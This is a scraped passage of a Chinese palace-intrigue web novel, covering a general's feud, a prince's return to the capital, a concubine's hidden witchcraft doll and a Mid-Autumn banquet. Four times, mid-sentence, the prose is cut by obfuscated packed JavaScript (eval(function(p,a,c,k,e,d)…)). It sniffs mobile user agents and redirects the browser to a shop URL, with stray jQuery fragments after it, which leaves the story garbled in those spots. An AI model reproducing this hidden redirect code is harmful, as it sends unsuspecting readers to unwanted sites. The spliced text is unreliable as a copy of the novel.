“来来来,不要客气,今晚咱们,不醉不休。” 钱衡量拱手施礼谢道:“多谢蔡将军款待,那钱某就不客气了。” 酒菜上好,二人才刚喝了几杯,就听到外面有人闹了起来。 蔡桐大声喝道:“谁人在外面喧哗?置军中法度于何地啊!” 士兵匆匆来报道:“是金中堂金将军在外面,金将军营帐的伙食不够了,手下的士兵闹了起来。” 蔡桐听后不屑一笑,不紧不慢地又饮一杯酒,而后缓缓道:“每一份军饷都是我亲自点过的,分毫不差,全军上下这么多士兵,怎么没听到别人闹啊?” “别是他金中堂自己多吃了底下人的份例……” 蔡桐说罢,当即变了脸,冷言厉色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274234|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“告诉外面的士兵,找他们的金将军要去,如若再在外面喧哗,军法处置!” “是。”士兵头也不敢抬,匆匆退下。 钱衡量闻言,眉头一蹙,虽他早知蔡桐和金中堂之间有矛盾,但未曾料到他们的矛盾竟已经这么水深火热了。 待营帐内只剩下他们二人后,蔡桐收起方才的严厉,换了个脸色,笑道:“多亏了上次先生提点,我才有幸参透这其中的玄妙之处。” 钱衡量听后,不禁乐了。 呵,这蔡桐也是个妙人,前些天四皇子还弹劾他父亲晋国公克扣军需,他还不知道收敛,如今竟有样学样,看来还是被弹劾得少了。 钱衡量为遮掩自己脸上的笑容,举起酒杯,将杯中酒一饮而尽。 倏地,钱衡量心中有了一计。 东宫内,太子刘牧拦截了数封弹劾蔡桐克扣军需的奏折,看了十几封后,生气地将奏折随手扔了出去。 “大军不过出发数日,就收到了不下十封弹劾蔡桐的奏折,蔡桐到底想干什么?” “先前受的教训还不够吗?” 来送宵夜的太子妃温嘉诚刚推开门,奏折迎面而来,吓了一跳。 温嘉诚忙侧身,躲过太子刘牧扔出的奏折,待平复好心情后,进入殿内,笑道:“殿下这是怎么了,怎么生了这么大的气?” 温嘉诚看到满地散落的奏折后,给了近侍一个眼色,随即面上带笑,走到刘牧身旁,取出食盒中的肉羹,柔声道:“这是笋白牛肉羹,有补气益血、健脾开胃之效,殿下尝尝看。” 刘牧看了眼,随即叹了口气,满眼疲惫,道:“先放那儿吧,我现在没心情吃。” 近侍将收好的奏折放到书桌上后,就退下了。 温嘉诚放下肉羹,随手拿起一封奏折,快速阅览后,又翻阅下面的几封,发现都是弹劾蔡桐克扣军需的奏折,道:“不知殿下要怎么处置?” 刘牧扶额苦叹道:“蔡桐就是仗着是母后带大的,有母后的溺爱,行事才这般肆意妄为。” 温嘉诚嗤笑一声,“这蔡桐何止是仗着母后的势?他背后能倚仗的还有晋国公、还有殿下呢。” “殿下,当断不断反受其乱。”温嘉诚见刘牧在对待蔡桐的事上总是犹豫不决,出言劝道:“如今因这蔡桐,连累了母后被禁足,又得罪了长公主,殿下还般优柔寡断吗?” “自他从永州回京后,我多次训斥过他,可他仍死性不改,母后又多有劝阻,我也是有心而无力啊!”刘牧又重重地叹了口气。 刘牧每次训斥过蔡桐之后,皇后总会把他叫到宫中一阵哭诉,让他能体谅蔡桐是皇后一手带大的,让他对蔡桐多些容忍,久而久之,刘牧也不知道该如何管这蔡桐,只能放之任之了。 自太子刘牧监国起,他给蔡桐收拾了很多烂摊子,如今他在承道帝面前好说歹说,让蔡桐去押送粮草,待蔡桐回来后找个由头给他恢复世子的爵位,让蔡桐官复原职,没想到蔡桐还不收敛,又被别人抓住把柄。 温嘉诚加重了语气,有些恨铁不成钢道:“殿下!” 而后又无奈叹了口气,继续说道:“那日阿宁邀我去郊外游猎,回来之后,殿下不还问我为何那般生气吗?” 刘牧停下,偏头问道:“为何?” 难道也与蔡桐有关? 38. 巫蛊(八)暗藏祸心 温嘉诚将那日的情形同刘牧讲了出来:“那日箭矢误入护城军军营中,阿宁被护城军的一个将领五花大绑给绑了。” “后来,还是长公主出面,才把我们两个放了。殿下可知,那将领是谁?” 刘牧看向温嘉诚,眼眸微眯,护城军中竟还有人敢绑太子妃? 温嘉诚道:“那人就是金中堂。” “那金中堂,原是长公主身边的一个护卫。也是他,护送长公主在大婚之夜回宫。如今,他已是支援栾南队伍的主将了。” “当日长公主大婚之日,蔡桐和金中堂便已有过节,现在,他们又在同一支队伍里,殿下以为,凭借蔡桐的性子,会轻易放过那金中堂吗?” 太子一拍额头,一阵懊悔。 近来事情繁多,刚顾着和二哥刘仲争带军人选了,竟把这事儿给忘了,是他考虑不周了。 “殿下,若此时还任由蔡桐胡来,放任这些弹劾的奏章不管不顾,日后……还指不定还会闹出更大的乱子呢!” 温嘉诚道:“若真到那时,就一切都晚了……” 太子刘牧思忖片刻,决定给蔡桐写封急报,先敲打下蔡桐。 现下最重要的是把蔡桐和金中堂稳住,这样栾南边境才不会乱,其余的,待蔡桐回京后再做处置。 蔡桐收到太子斥责他的急报,心情郁闷不已,可身边也没个可以说体己话的人,不禁更加烦闷。 蔡桐寻思一圈,想到了钱衡量,便命人备好美酒佳肴,把钱衡量叫了过来。 蔡桐一见钱衡量,便觉有了可倾诉之人。 还不待钱衡量落座,便对着钱衡量一阵抱怨:“这金中堂靠着长公主与英王,便不把太子放眼里了,还敢为难太子妃!” “可现在太子知道了,却把我骂了一通,你说,这是什么道理?” 蔡桐被气得语无伦次,不待金中堂回答,又继续抱怨道:“再说了,这明明是太子妃自己不小心,得罪了金中堂,如今同太子吹吹这枕头风,倒成我的不是了。” “太子殿下也真是的,听了这太子妃枕头风,倒这事儿怪在了我的头上,把我臭骂一顿。这究竟是何道理?” “难道是我让太子妃得罪的金中堂吗?难道是我让太子妃违反的军令吗?” 蔡桐不服气地喝了一杯接着一杯。 钱衡量按住蔡桐欲饮下一杯的手,摇头提醒道:“将军慎言,这些话可不能乱说。” “嗐,我也就同你抱怨几句。”蔡桐叹口气,继续道:“我如今还有一事要问先生。先生是钱易知老先生的后辈,自然才识渊博,定能为我解惑。” 蔡桐凑近钱衡量,有些不好意思道:“太子殿下信中还说要给我赐姓‘范’,可我思来想去,这范姓也不是什么望姓,实在猜不透太子殿下是什么意思。” 赐姓范?钱衡量听后也有些疑惑,百思不得其解,怎么冷不丁地说到赐姓了呢? 若是赐姓,那赐姓后叫范桐? 嗯?范桐的谐音不就是“饭桶”吗? 钱衡量想到这儿,一个没忍住,噗嗤一声笑了出来,没想到太子殿下还挺幽默的。 蔡桐冷眼看过去,不满道:“你笑什么?” 钱衡量憋住笑意,解释道:“将军姓蔡名桐,这冠以范姓,就是范桐……” 说罢,钱衡量抬眼小心翼翼地看了一眼,而后继续憋着笑道:“这谐音不就是……饭桶之意吗?” “啪——” 蔡桐满腔愤恨,把手中的酒杯摔出去。 亏得他一直以太子为重!亏得他一直对太子言听计从!没想到……太子就这么侮辱他! 若不是为了皇后姑母……谁愿意听他的! 钱衡量见蔡桐动了怒,三魂已丢了七魄,吓得不敢说话,内心惶恐不安。 若是待会蔡桐迁怒于自己,自己又将何处逃命呢?哎呀,这是多嘴! 蔡桐乜视着钱衡量,狞笑道:“我记得,你当日说……我能一飞冲天吗?怎么……” 蔡桐顿了顿,继续问道:“莫非你那日是骗我的?” 钱衡量讪笑着,忽然无意间瞥见了蔡桐的手早已按在了佩剑上,不由得后背上冒出一层冷汗,大脑飞速运转。 随后,抱着早死晚死都得死的心态,低声道:“颖州蔡氏是皇后娘娘的母族,只要有皇后娘娘在,那便有享不尽的荣华富贵。” “就凭将军的聪明才智,可是皇后娘娘的股肱之臣,何愁没有被重用的那一日?何愁没有权倾朝野那一日?” 钱衡量见蔡桐面露疑惑,继续道:“当今陛下七子二女,可堪重用着谁?又有哪个皇子生母能比皇后娘娘尊贵?” “换句话来说,日后无论是哪位皇子登基,皇后娘娘始终是独一无二的皇太后。” 蔡桐酒意上头,晕晕乎乎,如今被钱衡量着一通忽悠,更加晕乎,觉得钱衡量说得很有道理。 对啊,只要有姑母还在后位,只要颖州蔡氏还在,只要他晋国公府依旧屹立不倒,日后新帝登基,皇后始终是独一无二的皇太后。 虽说皇后现在被禁足,但未被废黜,到底陛下还是看在他们颖州蔡氏的面子上。 况且当年四皇子被送到大胡做质子时,皇后就被禁足过,后来不还是解了禁!只要皇后还在位一日,晋国公就不会倒,只要晋国公不倒,皇后就不会被废! 钱衡量见蔡桐默不作声,猜不透蔡桐在想什么,便只好大着胆子,继续忽悠道:“将军现在要做的,就是要——” 钱衡量盯着蔡桐,手指蘸着酒水,在桌上写下一个“稳”字。 “恰如当日卦象上所说,眼下将军正处于困顿之中,天将降大任于斯人也,必先苦其心志……” “待新帝登基之时,那就是将军一飞冲天之日!还望将军稍加忍耐些时日。” 蔡桐听后喜上眉梢,又与钱衡量连饮数杯。 推杯换盏间,钱衡量佯装不胜酒力,醉倒伏在案上。 蔡桐喝得醉醺醺的,最终还是醉倒了。 钱衡量伏案片刻,听到蔡桐轻微的鼾声,谨慎地望去,又试探着推了推蔡桐,见蔡桐毫无反应,便知蔡桐真醉得昏睡过去。 钱衡量不由得长舒一口气,赶忙偷摸地从蔡桐的营帐中溜出来。 刚出营帐,钱衡量便遇着帐外守夜的士兵。钱衡量清了清嗓子道:“蔡将军喝醉了,我去给将军弄碗醒酒汤。” 钱衡量走了几步,回头严厉叮嘱道:“你们可要严加看守,莫要让旁人靠近将军的营帐,以免坏了将军的威望。” 门口的士兵知道钱衡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274235|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量是蔡桐的座上宾,忙上前殷勤道:“这事儿交给我们去弄吧,先生歇着吧。” 钱衡量笑道:“诶,这怎好麻烦你们呢?你们还要守夜,这种小事还是我亲自去吧。”说罢,从袖中掏出一小块卤肉,放在守夜的士兵的手上。 守夜的士兵见有肉吃,连连道谢,也不管钱衡量了,拱手谢道:“那有劳先生了,先生快去吧。” 钱衡量就这么偷偷摸摸地从支援栾南的队伍里偷溜了出来。今夜蔡桐酒醉,钱衡量勉强还能忽悠他几句,若明日蔡桐醒后,定会今夜这些话砍了他。 所以钱衡量溜出来后,一刻也不敢停歇,朝着队伍行进的反方向去了。他就不信,蔡桐明日醒来后,难道还会让军队折返来抓他? 第二日,蔡桐醒后,发现钱衡量早没了踪迹,悄悄地派人去找,竟未曾找到,心里不禁一阵后怕。 蔡桐本欲留些亲信去追查钱衡量的踪迹,但是又怕会被金中堂攥住把柄,因此只能吃个暗亏,便这么心怀忐忑地继续朝着栾南赶去。 钱衡量在反方向停留了数日后,待大军早没了踪影,这才敢踩着崎岖的小路,日夜兼程地朝着栾南赶去。 栾南,诚王背后有了朝廷的援兵援粮,战事打得是一点也不着急。 大胡这边,得知大江的援军赶到,不敢像先前那般嚣张。胡人们草肥马壮,粮草充足,他们也不慌。 两边都不慌不忙,栾南战事就这么不紧不慢地进行着。 转眼间就到了七月末。 眼看着就快要到八月十五中秋节了,宫里宫外一片片欢声笑语,热闹非凡。 今年中秋节与往年不同。今年是个团圆年,先前一直在外做质子的四皇子刘茂回来了。 承道帝内心欢喜,便想着将这个中秋宫宴热热闹闹地大办一次。 因皇后被禁足,今年宫宴便交由贵妃操持,容嫔、永安长公主刘安从旁协助。 陌南就藩的秦王刘茂、在外游历的六皇子刘赞、永州驻兵的七皇子刘昶,凡是在京外的皇子,都被提前召回到了京中,就为了八月十五中秋这一日。 七月下旬,在陌南就藩的秦王刘茂,携妻子还朝踏上了回京之路。 因秦王妃还朝已有快八个月的身孕,故而他们回京的车马走得很慢很慢,生怕路上颠簸会引得王妃还朝不适。 刘茂看着还朝一路上食不下咽,还时常伴有孕吐症状,整个人都憔悴不少,不由得心疼道:“还朝,跟着我,你受苦了。” “待我们回了京,我亲去求父皇,求父皇允许我们在京中多待几日。” “四郎,只要能在你身边,没有什么苦不苦的。藩王就藩,本就天经地义,万不可因为此事去搅扰父皇。” 还朝眉头紧蹙,忧心不已。 上次接风宴,四郎便为着她,被父皇训斥赶到了陌南,如今万不可因她而再受父皇的斥责。 刘茂见还朝为他而担忧,知她怀孕辛苦,怕她担心忧虑,便妥协道:“好,听你的。” 还朝听罢,便放下心来。 还朝一边习惯性地摸着她隆起的小腹,感受着胎儿的跳动;一边满怀喜悦地欣赏着沿途热闹的景象,真是怎么看都看不够。 还朝心中欢喜不已,倚在刘茂怀里,对以后的日子充满了期待。 39. 巫蛊(九)秦王回京 宁乐公主刘宁前几日便收到了刘茂与还朝的信件,说是预计八月初九,也就是今天到京。 可刘宁已经在城门口等了许久,还是不见秦王的回京队伍,不免失落道:“嫂嫂来信说是今日到京,怎么我从早上等到了中午,还不见哥哥嫂嫂的车马?” 七皇子刘昶安慰道:“这不还有下午呢吗,你且耐心再等等吧。” 刘宁撑着下巴,百般无聊地盯着前方,与刘昶随意闲聊着:“六弟真不讲义气,明明先前说好要来迎接哥哥嫂嫂的,今儿又推脱说忙,来不了了。”说罢,刘宁无奈,撇撇嘴。 刘昶问道:“是在忙栾南的事儿吗?” 刘宁嘻嘻一笑:“听说是为了中秋宫宴的事,母妃今年可是费尽心思呢!” “唉。”刘宁叹了口气,嘟起嘴,不满地抱怨道:“只是母妃和六弟都神神秘秘的,宫宴的布置竟不肯告诉我。” 刘昶闻言,打趣道:“哈哈哈哈哈,幸好再过几日便是中秋了,你也不用再像现在这般抓耳挠腮地去想了。” “切。” 太阳西斜,刘宁和刘昶还是没等到秦王的车马,不禁有些失落。 七皇子刘昶打了个大大的哈欠,他们从天亮等到天黑,他现在都是昏昏欲睡的状态。 忽然,刘宁摇醒刘昶:“你看,是哥哥嫂嫂的车队!是哥哥嫂嫂的车队!” 刘宁眼尖,率先看到秦王的旗帜,忙指着旗帜让刘昶看。 “快走啦。”刘宁拍了拍七皇子的肩膀,迫不及待地起身,随后飞身上马,朝着秦王的车队骑去。 七皇子刘昶见状也紧随其后。 “秦王殿下,是安乐公主和七皇子二位殿下。” 刘茂闻言,叫停车队,扶着还朝走出马车。 “哥哥!” “嫂嫂!” 刘宁勒住马,不待马停稳,便从马上蹦下来,朝着刘茂与还朝二人激动地跑去。 “阿宁!”还朝也激动地小跑着去迎接刘宁。 刘茂扶着还朝,大步流星地跟紧还朝的步伐,神色担忧道:“还朝,你慢些!” 刘茂知道刘宁和还朝亲近,两个人有说不完的话,便笑着开口道:“阿宁,你去车里陪还朝,我与七弟在外面骑马。” “好。”刘宁忙不迭应下,三步并作两步,小心翼翼地扶着还朝进了马车。 刚一上车,刘宁便叽叽喳喳地说个不停。 “嫂嫂,你要是再早几天回京城就好了,早些回京,还能赶上七夕乞巧节呢!” “嫂嫂,你是不知道,今年宫内的乞巧节是太子妃嫂嫂办的,宫里可热闹了呢。” “嫂嫂,太子妃嫂嫂就是我同你说过的,将门胡女温嘉诚,她同我一样,骑射俱佳。” “嫂嫂,过完中秋节,你们就回陌南吗?”说到此处,刘宁顿觉有些伤感,不禁央求道:“可九月还有秋猎呢,你们等秋猎结束后,再回陌南好不好?” “嫂嫂,我听到小侄儿说他也想参加秋猎。”刘宁凑近还朝的肚子,感觉到还朝肚子里的娃娃在踢她,兴奋地冲还朝说道。 “好好好,都依你的。”还朝爱怜地抚着刘宁,被刘宁的情绪感染到,心情也被刘宁调动起来。 “我们待会进宫,我去求父皇,让你们多在京中留些时日。” “最好啊能等小侄儿长大了,要不然这路上一来一回的,那可太累了,大人兴许还受得了,可一个刚出生的奶娃娃哪里受得了这些呢?” “嫂嫂,等你生下小侄儿,我要办一场射箭比赛,到时候你和哥哥好好地露一手。” 还朝宠溺笑道:“好呀,到时我拿出一匹汗血宝马,为你做个彩头。” 刘宁满眼期待,笑道:“那感情好啊!这几日我可要勤加练习了,定要把这匹汗血宝马给赢回来!” 马车外的秦王刘茂和七皇子刘昶并肩而骑,听着车内刘宁叽叽喳喳活络的声音,均相视一笑。 “七弟,你在永州还好吧,蔡桐的旧部可有给你使绊子?”刘茂关心道。 刘昶淡然一笑,道:“纵然曾经再难,如今也抗过来了,四哥听说了吗,蔡桐被贬了。” 刘茂爽朗笑道:“那可真是大快人心啊!” 刘昶同样爽朗笑道:“谁说不是呢。” 一行人就这么有说有笑地到了秦王府。 二皇子刘仲听说秦王刘茂今日回京,便特地在秦王府门口的一顶轿子里候着。毕竟,他的盟友回京,他怎能不来迎接呢? 待秦王刘茂下马,府中下人来报:“殿下,二殿下早早便在门口候着了。”说罢,将那顶轿子指与刘茂看。 刘茂与刘仲遥遥相望,二人相视一笑,遥遥点头示意,随后刘仲便转身进了轿子。 “四哥,你在看什么?”刘昶顺着刘茂的视线看去,只远远地看见了个背影,似乎像是二哥刘仲,“我怎么看着那人有些像是二哥?” 还朝闻言,心中有些不悦,也顺着他们二人的视线看过去,那乘小轿已消失在人群中了。不过四郎不是说不再参与夺嫡之争了吗?怎么又和二皇子搅在一起? 刘茂微微一笑,道:“七弟,你看错了。” 刘宁换位到还朝身前,挡住还朝的视线,在一旁打趣道:“七弟久在边关,竟连二哥也认不清了?” “是吗?”刘昶有些不好意思了。 路上舟车劳顿,刘茂担忧还朝怀着身孕疲惫不堪,如是安排道:“阿宁,你先和还朝进府休整片刻,我同七弟先进宫去见父皇。” “四郎!”还朝叫住刘茂,迎上前去,笑道:“身为子女,我怎好不去拜见父皇与母妃?我们同去吧。” 刘茂心疼道:“你如今有孕在身,女子有孕本就百般辛苦,我又怎好让你今日再百般劳累?” 还朝摇头笑道:“无妨。” 刘茂见还朝这般坚持,也便由着她了。 “那我们便同去。” 刘宁和刘昶在一旁,看着二人如此互相体谅如此恩爱,均欣慰地相视一笑。 四人到了福宁殿,承道帝、贵妃、永安长公主刘安、英王刘元、六皇子刘赞、八皇子刘绥、七皇子生母容嫔、八皇子生母李美人均聚于此,福宁殿内热闹得就像开家宴。 刘安见着四人,笑道:“才同陛下说起你们,可巧你们竟到了。” 四人一一向长辈行过礼后落座。 贵妃看着还朝隆起的肚子,笑道:“陛下,如今秦王妃已有八个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274236|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多月的身孕,若中秋过后再回陌南的话,少不得要路上劳累。” 永安长公主刘安看出贵妃的心思,也颇为心疼即将临盆的秦王妃,当即接过话茬:“父皇,不如让亲王妃在京中安心养胎,待平安产子后再回陌南,不知父皇以为如何?” 容嫔道:“王妃这是怀胎已有八月吧。八月怀胎最是辛苦,万不可劳累啊!” 承道帝看向秦王妃还朝,见她面容憔悴,便知其辛苦,思忖片刻道:“中秋过后,还有九月秋猎,秦王妃是草原儿女,想必会对这秋猎很感兴趣,那便等秋猎过后再回去吧。” 贵妃闻言自是十分欣喜,忙示意刘茂:“还不快谢过你们父皇。” 刘茂扶着还朝,齐齐拜谢承道帝:“谢父皇!” 八皇子刘绥自小便惧怕承道帝,因此当着承道帝的面,困了也只敢忍着。可到底才八岁,年纪小,困得直打哈欠。刘绥环顾一周,在座的兄弟姐妹中,只有大姐姐刘安与他最亲近。 在众人说话之际,刘绥悄悄走至刘安身旁,揪起刘安的衣角,在刘安身旁小声道:“大姐姐,我困了。” 刘安爱怜地抚着八弟刘绥的脑袋,和善笑道:“困了呀,那带你回去歇息可好?” 刘绥点点头。 不知李美人什么时候离开了福宁殿,刘安找寻了一圈竟没找到她人。 “莲亭,李娘娘人呢?”刘安招来她的近侍莲亭,低声问道。 莲亭闻言,抬头环视一圈,奇怪,刚才李美人还在这里,怎么一转眼竟不在了,便猜测道:“方才还在呢,许是去更衣了吧。” 刘安垂眸沉思片刻,隐约有些不安,便压低声音,安排道:“莲亭,你且先回宫看看,若李娘娘不在福康宫,便再去归云阁看看。” 莲亭一想到夜晚的归云阁会传来些诡异的叫声,心中便忍不住害怕:“是……可是殿下,我有点怕。” 刘安白了莲亭一眼,无奈叹了口气,道:“不是告诉你了吗,那叫声是只被卡住小猫传来的。你若还是怕,便叫上莲音,两个人作个伴儿。” 刘安催促道:“快去吧。” 莲亭悄悄退下:“是。” 天色渐晚,承道帝兴致不减,与贵妃、刘茂刘宁等人聊得开心。 刘安见状,笑道:“父皇,眼下夜已深,咱们个个都身强体壮,倒是没什么,只是秦王妃有孕在身,又是连日的舟车劳顿,我看她脸色有些憔悴,不如让他们早些回去歇息吧。更何况八弟又是久病初愈,御医嘱咐要早些休息呢。” 还朝早觉疲惫,但为了礼数周全,便强撑着不适,因见刘安为她出言,便向刘安投去感激的目光。 刘安看向还朝,微微点头示意。 承道帝道:“还是安儿思虑周全。朕也乏了,你们都退下吧。” “是。”众人退下。 刘安安排八皇子刘绥睡下后,守在刘绥床边,等着莲亭和莲音来向她汇报。 “殿下——”莲亭气喘吁吁地小跑进殿,见八皇子刘绥睡下,压低声音道:“奴婢亲眼瞧见李美人去了归云阁,莲音姐姐拦着李美人,奴婢先回来报信。” 刘安点点头,摆手让莲亭退下,随即冷哼一声,狐狸尾巴终于露出来了。 40. 巫蛊(十)中秋宫宴 李美人鬼鬼祟祟地从外面回到福康宫偏殿,却不想刘安也在偏殿,冷不丁被吓了一跳。 李美人有些心虚:“长……长公主殿下也在呢!” “李娘娘去哪儿了?”刘安起身,周身散发着压迫,一步步逼近李美人。 李美人方才在福宁殿,突然想到先前放在床下的木偶,在宫中行巫蛊之术可是大罪。如今归云阁的宫室又在修缮,自然担心木偶会被人发现,因而特意溜去归云阁寻找,谁知竟未曾找到,不免惶恐。 如今李美人又被刘安发现,更加心虚,磕绊道:“我……我方才去更衣了。” “更衣……那你又去归云阁做什么?”刘安冷脸问道,见李美人支支吾吾,当即从宽大的衣袖中掏出那个木偶,摔在李美人面前,言语平淡,听不出一丝波澜:“可是在找这个?” 这……怎么在她手里?李美人见到木偶,倒吸一口凉气,霎时间脑子一片空白。 “宫中禁行巫蛊之术,这脏东西竟然就在你床榻之下,你这木偶是来诅咒谁的?” “你可知这木偶若是被旁人发现会是什么下场吗?” 李美人闻言扑通一声跪在刘安裙边,抱着刘安的大腿,哭诉道:“殿下,我听民间说,用这木偶做替身,可将病痛转移到木偶身上,绥儿身子日益变差,我身为人母,怎可忍心他受这样的苦楚?恨不得能替他受了啊!殿下,我这也是迫不得已啊!” 李美人和八皇子向来在宫中不受重视,先前又得罪过贵妃,因此分到的归云阁年久失修,破败不堪,在那样的环境下,八皇子的病也是迟迟不见好。 这木偶是她从宫人那边听来的,说是可以把生病之人的病痛转移到木偶身上,归云阁又鲜少有人来,哪怕是宫中禁用巫蛊之术,她为了儿子,也不得不铤而走险,万一有用呢?她也是有病乱投医了,只是不曾想当日搬得匆忙,竟把这木偶落下了,也未曾想到这木偶竟到了长公主刘安的手中…… 李美人哭得声泪俱下:“还望殿下可怜我这为母的一片苦心啊!无论是要打还是要罚,我都认,只愿我的绥儿能健康安顺……” “你——”刘安怒不可遏,终究还是放下指着李美人的手指,闭上双眼,无力地叹了口气,平复好情绪后,转身看向在床榻上安睡的刘绥,终究有些动容,松口道:“这些东西便交由本宫吧,本宫拿去销毁。今日之事不得说与第三人知晓。” 李美人轻轻擦拭掉垂落在脸庞的眼泪,可怜兮兮道:“殿下放心……” “对了,福康宫东北方向的暖阁修缮好了,李娘娘先搬过去吧。” 李美人惊恐道:“殿下,东暖阁狭小,我与绥儿两人,只怕……” “八弟暂且还养在福康宫。这也是父皇的意思。” 李美人见刘安搬出承道帝,也不好说什么,只好忍痛应下,与八皇子刘绥分开,但心中已记恨下刘安。 八月十五的中秋宫宴很快就到了。 皇后被禁足,此次家宴是由贵妃操办的,因是四皇子回京后的第一次家宴,办得极为热闹隆重,在京城附近的皇室宗亲们都回京来参加这次家宴。 承道帝和贵妃还没来,皇室宗亲们便三五成群,各自与各自熟络的亲朋热聊: “许久不见你,怎么近来看着又胖了不少。” “哈哈哈哈,哪儿有哪儿有,我倒是看着你愈发地圆润呐!” …… “听说你喜得麟儿,恭喜恭喜啊。” …… “中秋节后是秋猎,不如多住几天,待秋猎后再回封地吧。” “往年秋猎都是你猎得最多,今年我可要和你好好比比!” …… “我女儿的满月宴,你可记得要来啊。” “一定一定!” …… 宁乐公主刘宁找寻到太子妃温嘉诚的身影,便拉着还朝去找温嘉诚。 与太子妃交谈的女眷们见刘宁来了,纷纷拜别太子妃,向刘宁与还朝行过礼后,去了别处。 刘宁向还朝介绍温嘉诚:“嫂嫂,这就是我常向你提起的太子妃温嘉诚。” 还朝向温嘉诚盈盈一拜:“太子妃安。” “这位便是秦王妃吧。”温嘉诚拉起还朝的手,上下打量一番眼前的秦王妃,只觉得她温婉可人,见她还大着肚子,因为关心问道:“在京城住得可还习惯?” 温嘉诚常听宁乐公主刘宁提起秦王妃还朝。 还朝公主是大江和亲公主的后代,很是亲近大江,后来还朝公主的父汗去世,她的叔父即位,还朝公主便跟着秦王一起回大江了。 如果没有这位还朝公主,只怕秦王要在大胡受不少苦。 “一切都好。”还朝也见到了刘宁常提起的温嘉诚,这是温国公的长女,温国公一家常年驻守边关,长女温嘉诚常年跟在父亲身边,耳濡目染下,骑射俱佳,颇有抱负。 温嘉诚和还朝手牵着手,二人虽是第一次见面,但却有种相见恨晚的感觉。 还朝知温嘉诚善骑射,便投其所好:“听阿宁说,太子妃喜好骑射,我那里有几匹纯种的汗血宝马,待宴会结束,太子妃不妨同我去挑挑看。” 温嘉诚闻言,欣喜若狂道:“那……那就多谢秦王妃了。” 刘宁见着二人都有些拘谨客气,还王妃来王妃去的称呼对方,笑着打趣道:“你们都这么客气啊?不知道到时候我举办箭术比赛的时候,你们是不是也会像现在这样客气得让来让去、谢来谢去啊?” 还朝和温嘉诚听后,均掩嘴相视一笑。 “比赛?什么比赛?彩头是什么?”七皇子刘昶听到刘宁说要举办比赛,顺着声音便找了过来。 刘宁转头笑道:“箭术。怎么,就你那三脚猫的射艺还想拔得头筹吗?” 刘昶认真思考道:“我射艺不大行,可是我骑术尚可……这么吧,你要不搞个骑射比赛吧,我也能参与参与,说不定还真能拔个头筹呢!” “这个主意好。” 太子刘牧见弟妹们都聚在一起,带着六皇子刘赞也走了过来,听到七皇子刘昶说要举办比赛,忍不住拍手叫好。 “大家都长大了,也是很久没聚在一起了,正好可以借着这个骑射比赛,来增进下我们兄弟姐妹间的情谊。” “啊?”刘宁有些泄气,本来想着就办一个小型的射箭比赛,她们几人乐一下,没想到现在太子横插一脚,小比赛就要变成一个大型的骑射比赛了,到时候少不得要很多人参加,若她输了,岂不很丢脸? 太子刘牧以为刘宁是担心举办比赛的花销,笑道:“小五不必担心,这事我让小六去筹办,你们到时候只用安心去玩儿就行了。” “我?”刘赞冷不丁地被太子点到,不可置信地看着众人,一脸茫然。 刘赞心中算盘噼里啪啦地算着,这一个比赛办下去,既要大家玩得开心,又不能办得寒酸丢了皇家脸面,还不知道要砸下去多少银钱呢。 前些天太子大婚、大姐姐婚礼还有支援栾南的银钱,就都快把他的府邸搬空了,如今再来这么个比赛……刘赞无奈撇撇嘴。 “哈哈哈哈哈哈哈——” 众人被刘赞的反应给逗得捧腹大笑,没有半点勾心斗角,一副其乐融融的景象。 “准备接驾,陛下驾到!” 大殿上的皇室宗亲们忙收起刚刚闲聊的姿态,纷纷列队站好,恭迎圣驾。 承道帝携贵妃、永安长公主刘安、英王刘元行至殿内,后面还乌泱泱跟着后宫的嫔妃。 “吾皇万岁万岁万万岁!”众人整齐地跪拜行礼。 承道帝大步坐到上位,看着阶下的人行礼,而后道:“平身,众卿家落座吧。” 承道帝望向他的九个子女,个个都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刘赞问:“我听说你手头不就有很大一块吗?” 刘昶道:“那可不巧了,我手上那块夜明石,才刚给大姐姐打了套印章。等秋猎过后,我回了永州,我再命人去找找看。” 刘宁道:“那我就等你的好消息了。” 刘赞心中盘算,若是挖到夜明石或者其他宝石的矿脉,做成首饰卖给京中的女孩们,岂不又要狠狠赚上一笔!因而插嘴道:“我与你同去!” “边关危险,就你那三脚猫的功夫,你还是别去添乱了!” “我又不去前线,有什么不能去的?我偏要去!” 刘宁与刘赞犹如稚子般,拌起了嘴。 刘昶是七弟,现在反而如兄长般在一旁劝架。 酒过三巡之际,一株由金丝累成的桂树被宫人们推到大殿中央。 